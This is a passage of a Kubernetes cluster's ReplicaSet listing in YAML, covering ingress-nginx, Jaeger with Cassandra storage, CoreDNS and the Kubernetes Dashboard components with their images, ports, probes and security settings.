              add:
              - NET_BIND_SERVICE
              drop:
              - ALL
            readOnlyRootFilesystem: false
            runAsGroup: 82
            runAsNonRoot: true
            runAsUser: 101
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /usr/local/certificates/
            name: webhook-cert
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: ingress-nginx
        serviceAccountName: ingress-nginx
        terminationGracePeriodSeconds: 300
        volumes:
        - name: webhook-cert
          secret:
            defaultMode: 420
            secretName: ingress-nginx-admission
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      pod-template-hash: 5b674d4987
    name: jaeger-collector-5b674d4987
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: jaeger-collector
      uid: 6a08799e-d3a5-4cb1-929c-a2cc1e86531c
    resourceVersion: "18009056"
    uid: ad965a91-ccbb-4cec-ad15-e42ede797488
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: collector
        app.kubernetes.io/instance: jaeger
        app.kubernetes.io/name: jaeger
        pod-template-hash: 5b674d4987
    template:
      metadata:
        annotations:
          checksum/config-env: 75a11da44c802486bc6f65640aa48a730f0f684c5c07a42ba3cd1735eb3fb070
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: collector
          app.kubernetes.io/instance: jaeger
          app.kubernetes.io/name: jaeger
          pod-template-hash: 5b674d4987
      spec:
        containers:
        - env:
          - name: SPAN_STORAGE_TYPE
            value: cassandra
          - name: CASSANDRA_SERVERS
            value: jaeger-cassandra
          - name: CASSANDRA_PORT
            value: "9042"
          - name: CASSANDRA_KEYSPACE
            value: jaeger_v1_test
          - name: CASSANDRA_USERNAME
            value: user
          - name: CASSANDRA_PASSWORD
            valueFrom:
              secretKeyRef:
                key: password
                name: jaeger-cassandra
          image: jaegertracing/jaeger-collector:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-collector
          ports:
          - containerPort: 14250
            name: grpc
            protocol: TCP
          - containerPort: 14268
            name: http
            protocol: TCP
          - containerPort: 14269
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: jaeger-collector
        serviceAccountName: jaeger-collector
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      pod-template-hash: 699bddc747
    name: jaeger-query-699bddc747
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: jaeger-query
      uid: 3899e75e-af77-443c-824c-8f246e19d188
    resourceVersion: "18009038"
    uid: b355f230-e48b-4b50-b4fd-da6d1d875c55
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: query
        app.kubernetes.io/instance: jaeger
        app.kubernetes.io/name: jaeger
        pod-template-hash: 699bddc747
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: query
          app.kubernetes.io/instance: jaeger
          app.kubernetes.io/name: jaeger
          pod-template-hash: 699bddc747
      spec:
        containers:
        - env:
          - name: SPAN_STORAGE_TYPE
            value: cassandra
          - name: CASSANDRA_SERVERS
            value: jaeger-cassandra
          - name: CASSANDRA_PORT
            value: "9042"
          - name: CASSANDRA_KEYSPACE
            value: jaeger_v1_test
          - name: CASSANDRA_USERNAME
            value: user
          - name: CASSANDRA_PASSWORD
            valueFrom:
              secretKeyRef:
                key: password
                name: jaeger-cassandra
          - name: QUERY_BASE_PATH
            value: /
          - name: JAEGER_AGENT_PORT
            value: "6831"
          image: jaegertracing/jaeger-query:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-query
          ports:
          - containerPort: 16686
            name: query
            protocol: TCP
          - containerPort: 16685
            name: grpc
            protocol: TCP
          - containerPort: 16687
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        - env:
          - name: REPORTER_GRPC_HOST_PORT
            value: jaeger-collector:14250
          image: jaegertracing/jaeger-agent:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-agent-sidecar
          ports:
          - containerPort: 14271
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: jaeger-query
        serviceAccountName: jaeger-query
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "2"
      deployment.kubernetes.io/max-replicas: "3"
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-09-21T11:09:25Z"
    generation: 1
    labels:
      k8s-app: kube-dns
      pod-template-hash: 674b8bbfcf
    name: coredns-674b8bbfcf
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: coredns
      uid: 8aa640da-54bd-4eeb-a8ff-3cfc9441f9d3
    resourceVersion: "18046350"
    uid: ddd27701-269a-4d86-b477-0ae3b4044fd7
  spec:
    replicas: 2
    selector:
      matchLabels:
        k8s-app: kube-dns
        pod-template-hash: 674b8bbfcf
    template:
      metadata:
        creationTimestamp: null
        labels:
          k8s-app: kube-dns
          pod-template-hash: 674b8bbfcf
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchExpressions:
                  - key: k8s-app
                    operator: In
                    values:
                    - kube-dns
                topologyKey: kubernetes.io/hostname
              weight: 100
        containers:
        - args:
          - -conf
          - /etc/coredns/Corefile
          image: registry.k8s.io/coredns/coredns:v1.12.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              path: /health
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 60
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: coredns
          ports:
          - containerPort: 53
            name: dns
            protocol: UDP
          - containerPort: 53
            name: dns-tcp
            protocol: TCP
          - containerPort: 9153
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /ready
              port: 8181
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            limits:
              memory: 170Mi
            requests:
              cpu: 100m
              memory: 70Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              add:
              - NET_BIND_SERVICE
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/coredns
            name: config-volume
            readOnly: true
        dnsPolicy: Default
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: coredns
        serviceAccountName: coredns
        terminationGracePeriodSeconds: 30
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        volumes:
        - configMap:
            defaultMode: 420
            items:
            - key: Corefile
              path: Corefile
            name: coredns
          name: config-volume
  status:
    availableReplicas: 2
    fullyLabeledReplicas: 2
    observedGeneration: 1
    readyReplicas: 2
    replicas: 2
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 7ccd9b445f
    name: kubernetes-dashboard-api-7ccd9b445f
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: kubernetes-dashboard-api
      uid: 0cc0c5f5-cac1-431c-b3d5-7a1b905d81c2
    resourceVersion: "18033505"
    uid: 50c165c8-a049-450f-a094-83730776dff7
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-api
        app.kubernetes.io/part-of: kubernetes-dashboard
        pod-template-hash: 7ccd9b445f
    template:
      metadata:
        annotations:
          checksum/config: c42aa2a6a5dd01a706e646a269c5f9162601883a72834abc74680250e8dd1fbd
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: api
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-api
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.13.0
          helm.sh/chart: kubernetes-dashboard-7.13.0
          pod-template-hash: 7ccd9b445f
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --namespace=kubernetes-dashboard
          - --metrics-scraper-service-name=kubernetes-dashboard-metrics-scraper
          env:
          - name: CSRF_KEY
            valueFrom:
              secretKeyRef:
                key: private.key
                name: kubernetes-dashboard-csrf
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-api:1.13.0
          imagePullPolicy: IfNotPresent
          name: kubernetes-dashboard-api
          ports:
          - containerPort: 8000
            name: api
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: kubernetes-dashboard-api
        serviceAccountName: kubernetes-dashboard-api
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.3.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 6ff66ccf8d
    name: kubernetes-dashboard-auth-6ff66ccf8d
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: kubernetes-dashboard-auth
      uid: ee9bd18e-3343-4263-bbca-06a2a3dc025f
    resourceVersion: "18033927"
    uid: d67fc797-9af4-42d6-9e27-7983cfb46659
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-auth
        app.kubernetes.io/part-of: kubernetes-dashboard
        pod-template-hash: 6ff66ccf8d
    template:
      metadata:
        annotations:
          checksum/config: 52c08de2c1f5c5d6b38aed2f55d5944de0c9ed37ce0824188c50535919caa084
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: auth
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-auth
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.3.0
          helm.sh/chart: kubernetes-dashboard-7.13.0
          pod-template-hash: 6ff66ccf8d
      spec:
        automountServiceAccountToken: true
        containers:
        - env:
          - name: CSRF_KEY
            valueFrom:
              secretKeyRef:
                key: private.key
                name: kubernetes-dashboard-csrf
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-auth:1.3.0
          imagePullPolicy: IfNotPresent
          name: kubernetes-dashboard-auth
          ports:
          - containerPort: 8000
            name: auth
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app: kubernetes-dashboard-kong
      app.kubernetes.io/component: app
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      helm.sh/chart: kong-2.46.0
      pod-template-hash: 648658d45f
      version: "3.8"
    name: kubernetes-dashboard-kong-648658d45f
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: kubernetes-dashboard-kong
      uid: 002cf455-ae87-43d9-b6de-3f8aabf3bc70
    resourceVersion: "18007906"
    uid: 7f94953c-3564-4012-8e2b-881ff32442f8
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: app
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kong
        pod-template-hash: 648658d45f
    template:
      metadata:
        annotations:
          kuma.io/gateway: enabled
          kuma.io/service-account-token-volume: kubernetes-dashboard-kong-token
          traffic.sidecar.istio.io/includeInboundPorts: ""
        creationTimestamp: null
        labels:
          app: kubernetes-dashboard-kong
          app.kubernetes.io/component: app
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kong
          app.kubernetes.io/version: "3.8"
          helm.sh/chart: kong-2.46.0
          pod-template-hash: 648658d45f
          version: "3.8"
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: KONG_ADMIN_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_GUI_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_GUI_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_LISTEN
            value: 127.0.0.1:8444 http2 ssl, [::1]:8444 http2 ssl
          - name: KONG_CLUSTER_LISTEN
            value: "off"
          - name: KONG_DATABASE
            value: "off"
          - name: KONG_DECLARATIVE_CONFIG
            value: /kong_dbless/kong.yml
          - name: KONG_DNS_ORDER
            value: LAST,A,CNAME,AAAA,SRV
          - name: KONG_LUA_PACKAGE_PATH
            value: /opt/?.lua;/opt/?/init.lua;;
          - name: KONG_NGINX_WORKER_PROCESSES
            value: "1"
          - name: KONG_PLUGINS
            value: "off"
          - name: KONG_PORTAL_API_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PORTAL_API_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PORT_MAPS
            value: 443:8443
          - name: KONG_PREFIX
            value: /kong_prefix/
          - name: KONG_PROXY_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PROXY_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PROXY_LISTEN
            value: 0.0.0.0:8443 http2 ssl, [::]:8443 http2 ssl
          - name: KONG_PROXY_STREAM_ACCESS_LOG
            value: /dev/stdout basic
          - name: KONG_PROXY_STREAM_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ROUTER_FLAVOR
            value: traditional
          - name: KONG_STATUS_ACCESS_LOG
            value: "off"
          - name: KONG_STATUS_ERROR_LOG
            value: /dev/stderr
          - name: KONG_STATUS_LISTEN
            value: 0.0.0.0:8100, [::]:8100
          - name: KONG_STREAM_LISTEN
            value: "off"
          - name: KONG_NGINX_DAEMON
            value: "off"
          image: kong:3.8
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - kong
                - quit
                - --wait=15
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /status
              port: status
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: proxy
          ports:
          - containerPort: 8443
            name: proxy-tls
            protocol: TCP
          - containerPort: 8100
            name: status
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /status/ready
              port: status
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /kong_prefix/
            name: kubernetes-dashboard-kong-prefix-dir
          - mountPath: /tmp
            name: kubernetes-dashboard-kong-tmp
          - mountPath: /kong_dbless/
            name: kong-custom-dbless-config-volume
        dnsPolicy: ClusterFirst
        initContainers:
        - command:
          - rm
          - -vrf
          - $KONG_PREFIX/pids
          env:
          - name: KONG_ADMIN_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_GUI_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_ADMIN_GUI_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ADMIN_LISTEN
            value: 127.0.0.1:8444 http2 ssl, [::1]:8444 http2 ssl
          - name: KONG_CLUSTER_LISTEN
            value: "off"
          - name: KONG_DATABASE
            value: "off"
          - name: KONG_DECLARATIVE_CONFIG
            value: /kong_dbless/kong.yml
          - name: KONG_DNS_ORDER
            value: LAST,A,CNAME,AAAA,SRV
          - name: KONG_LUA_PACKAGE_PATH
            value: /opt/?.lua;/opt/?/init.lua;;
          - name: KONG_NGINX_WORKER_PROCESSES
            value: "1"
          - name: KONG_PLUGINS
            value: "off"
          - name: KONG_PORTAL_API_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PORTAL_API_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PORT_MAPS
            value: 443:8443
          - name: KONG_PREFIX
            value: /kong_prefix/
          - name: KONG_PROXY_ACCESS_LOG
            value: /dev/stdout
          - name: KONG_PROXY_ERROR_LOG
            value: /dev/stderr
          - name: KONG_PROXY_LISTEN
            value: 0.0.0.0:8443 http2 ssl, [::]:8443 http2 ssl
          - name: KONG_PROXY_STREAM_ACCESS_LOG
            value: /dev/stdout basic
          - name: KONG_PROXY_STREAM_ERROR_LOG
            value: /dev/stderr
          - name: KONG_ROUTER_FLAVOR
            value: traditional
          - name: KONG_STATUS_ACCESS_LOG
            value: "off"
          - name: KONG_STATUS_ERROR_LOG
            value: /dev/stderr
          - name: KONG_STATUS_LISTEN
            value: 0.0.0.0:8100, [::]:8100
          - name: KONG_STREAM_LISTEN
            value: "off"
          image: kong:3.8
          imagePullPolicy: IfNotPresent
          name: clear-stale-pid
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /kong_prefix/
            name: kubernetes-dashboard-kong-prefix-dir
          - mountPath: /tmp
            name: kubernetes-dashboard-kong-tmp
          - mountPath: /kong_dbless/
            name: kong-custom-dbless-config-volume
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: kubernetes-dashboard-kong
        serviceAccountName: kubernetes-dashboard-kong
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir:
            sizeLimit: 256Mi
          name: kubernetes-dashboard-kong-prefix-dir
        - emptyDir:
            sizeLimit: 1Gi
          name: kubernetes-dashboard-kong-tmp
        - name: kubernetes-dashboard-kong-token
          projected:
            defaultMode: 420
            sources:
            - serviceAccountToken:
                expirationSeconds: 3607
                path: token
            - configMap:
                items:
                - key: ca.crt
                  path: ca.crt
                name: kube-root-ca.crt
            - downwardAPI:
                items:
                - fieldRef:
                    apiVersion: v1
                    fieldPath: metadata.namespace
                  path: namespace
        - configMap:
            defaultMode: 420
            name: kong-dbless-config
          name: kong-custom-dbless-config-volume
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 547874fcf
    name: kubernetes-dashboard-metrics-scraper-547874fcf
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: kubernetes-dashboard-metrics-scraper
      uid: aa9170b3-4d43-499a-b851-84495f408e82
    resourceVersion: "18007820"
    uid: dbfbb7b9-96ef-4387-8338-80b41cd86ea0
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
        app.kubernetes.io/part-of: kubernetes-dashboard
        pod-template-hash: 547874fcf
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: metrics-scraper
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.2.2
          helm.sh/chart: kubernetes-dashboard-7.13.0
          pod-template-hash: 547874fcf
      spec:
        automountServiceAccountToken: true
        containers:
        - env:
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-metrics-scraper:1.2.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 8000
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 30
          name: kubernetes-dashboard-metrics-scraper
          ports:
          - containerPort: 8000
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: kubernetes-dashboard-metrics-scraper
        serviceAccountName: kubernetes-dashboard-metrics-scraper
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 7796b9fbbb
    name: kubernetes-dashboard-web-7796b9fbbb
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: kubernetes-dashboard-web
      uid: 98ba522f-fa02-439f-9af2-1dae3fb4fe60
    resourceVersion: "18033497"
    uid: 65ad9e73-9f1e-44c4-addd-d3c770d3af19
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-web
        app.kubernetes.io/part-of: kubernetes-dashboard
        pod-template-hash: 7796b9fbbb
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: web
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-web
